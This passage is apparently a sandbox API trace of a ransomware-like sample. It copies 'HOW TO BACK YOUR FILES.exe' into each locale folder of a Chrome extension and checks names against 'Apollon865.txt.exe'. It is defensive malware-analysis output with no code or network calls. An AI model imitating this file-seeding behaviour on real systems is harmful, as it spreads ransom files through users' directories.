	[0047.686] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.686] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.690] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x347e5df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x347e5df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.690] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.690] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.690] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.690] lstrlenW (lpString="messages.json") returned 13
	[0047.690] lstrlenW (lpString="Apollon865") returned 10
	[0047.690] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.691] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr"
	[0047.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5adce8 | out: hHeap=0x580000) returned 1
	[0047.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffe8 | out: hHeap=0x580000) returned 1
	[0047.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr") returned 146
	[0047.691] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr"
	[0047.691] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.691] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.695] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.695] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3480bf50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3480bf50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.695] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.695] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.695] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.695] lstrlenW (lpString="messages.json") returned 13
	[0047.695] lstrlenW (lpString="Apollon865") returned 10
	[0047.696] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.696] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi"
	[0047.696] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5adbb0 | out: hHeap=0x580000) returned 1
	[0047.696] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffc8 | out: hHeap=0x580000) returned 1
	[0047.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi") returned 146
	[0047.696] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi"
	[0047.696] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.696] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.700] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.700] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3480bf50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3480bf50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.700] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.700] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.700] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.700] lstrlenW (lpString="messages.json") returned 13
	[0047.700] lstrlenW (lpString="Apollon865") returned 10
	[0047.700] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.700] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu"
	[0047.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ada78 | out: hHeap=0x580000) returned 1
	[0047.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ffa8 | out: hHeap=0x580000) returned 1
	[0047.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu") returned 146
	[0047.700] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu"
	[0047.700] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.700] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.705] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.705] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3480bf50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3480bf50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.705] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.705] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.705] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.705] lstrlenW (lpString="messages.json") returned 13
	[0047.705] lstrlenW (lpString="Apollon865") returned 10
	[0047.705] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.705] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr"
	[0047.705] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ad930 | out: hHeap=0x580000) returned 1
	[0047.705] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff88 | out: hHeap=0x580000) returned 1
	[0047.706] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr") returned 146
	[0047.706] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr"
	[0047.706] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.706] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.709] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.710] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x348320b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x348320b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.710] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.710] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.710] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.710] lstrlenW (lpString="messages.json") returned 13
	[0047.710] lstrlenW (lpString="Apollon865") returned 10
	[0047.710] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.710] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil"
	[0047.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ad800 | out: hHeap=0x580000) returned 1
	[0047.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff68 | out: hHeap=0x580000) returned 1
	[0047.710] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil") returned 147
	[0047.710] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil"
	[0047.710] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.710] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.715] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.715] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x348320b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x348320b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.715] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.715] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.715] lstrcpyW (in: lpString1=0x2d3e678, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.715] lstrlenW (lpString="messages.json") returned 13
	[0047.715] lstrlenW (lpString="Apollon865") returned 10
	[0047.715] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.715] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi"
	[0047.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ad6d0 | out: hHeap=0x580000) returned 1
	[0047.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff48 | out: hHeap=0x580000) returned 1
	[0047.715] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi") returned 146
	[0047.715] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi"
	[0047.715] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.715] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.719] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.719] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x348320b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x348320b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.719] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.719] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.719] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.719] lstrlenW (lpString="messages.json") returned 13
	[0047.720] lstrlenW (lpString="Apollon865") returned 10
	[0047.720] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.720] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa"
	[0047.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ad5a0 | out: hHeap=0x580000) returned 1
	[0047.720] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff28 | out: hHeap=0x580000) returned 1
